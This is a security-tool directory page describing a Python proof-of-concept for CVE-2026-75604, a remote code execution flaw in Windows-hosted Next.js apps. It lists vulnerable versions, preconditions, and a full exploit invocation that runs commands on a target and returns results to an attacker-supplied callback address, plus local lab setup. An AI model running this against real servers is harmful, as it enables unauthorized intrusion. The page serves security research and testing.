Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-75604-poc — Proof-of-concept exploit for CVE-2026-75604, an unauthenticated remote code execution in Windows-hosted Next.js apps, with callback-based command execution and local target setup. | Kitploit
도구/GitHubGitHub/rafabd1/cve-2026-75604-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRemote Access Trojan
GitHubrafabd1/cve-2026-75604-poc

CVE-2026-75604-poc

Proof-of-concept exploit for CVE-2026-75604, an unauthenticated remote code execution in Windows-hosted Next.js apps, with callback-based command execution and local target setup.

저장소 보기
88381219일 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
요청한 언어로 콘텐츠를 사용할 수 없습니다. 영어 버전을 표시합니다.

CVE-2026-75604 RCE PoC

Python proof of concept for CVE-2026-75604, an unauthenticated remote command execution vulnerability in Windows-hosted Next.js applications that use both the Pages Router and App Router without Cache Components.

Demonstration

CVE-2026-75604 RCE proof of concept

Requirements

  • Next.js >=13.4 <15.5.24 or >=16.0 <16.3.3
  • Native Windows server
  • Pages Router and App Router without Cache Components
  • Default filesystem cache with a dynamic Pages ISR route and a dynamic cached App route
  • A compatible closure-bound Server Action
  • Python 3.9+ and a callback address reachable by the target

Validated with [email protected].

root@kitploit:~
python -m pip install -r requirements.txt

Usage

root@kitploit:~
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP --pages-cache-path /PATH/TO/PAGES_ISR_INSTANCE --app-cache-path /PATH/TO/APP_CACHE_INSTANCE

The Server Action path defaults to /. Use --action-field when its form has more than one field.

Required arguments:

  • --target URL: base URL of the Next.js application
  • --callback-ip ADDRESS: IPv4 address reachable by the target
  • --pages-cache-path PATH: existing dynamic Pages Router ISR page
  • --app-cache-path PATH: existing dynamic App Router page backed by the filesystem cache

Optional arguments:

  • --command COMMAND: command to execute; defaults to whoami
  • --action-path PATH: App Router page containing the compatible Server Action; defaults to /
  • --action-field NAME: form field consumed by the action; detected automatically when unambiguous
  • --callback-port PORT: callback port; defaults to 4331
  • --listen-address ADDRESS: local callback bind address; defaults to 0.0.0.0
  • --timeout SECONDS: request and callback timeout; defaults to 20
  • --insecure: disables TLS certificate verification

Local target

The optional target/ application pins [email protected] and uses the standard Next.js production server:

root@kitploit:~
cd target
npm ci
npm run build
npm start

Run the PoC in another terminal:

root@kitploit:~
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1 --pages-cache-path /pages-cache/seed --app-cache-path /app-cache/seed

The optional target provides the required routes and a compatible Server Action on /.

Disclaimer

This PoC is provided for educational purposes, security research, and authorized testing only. Use it only on systems you own or have explicit permission to test.

Credits

Credit to evolutionstorm & b0r1.

This PoC was independently reconstructed from the public advisory and Next.js patch.

도구 다운로드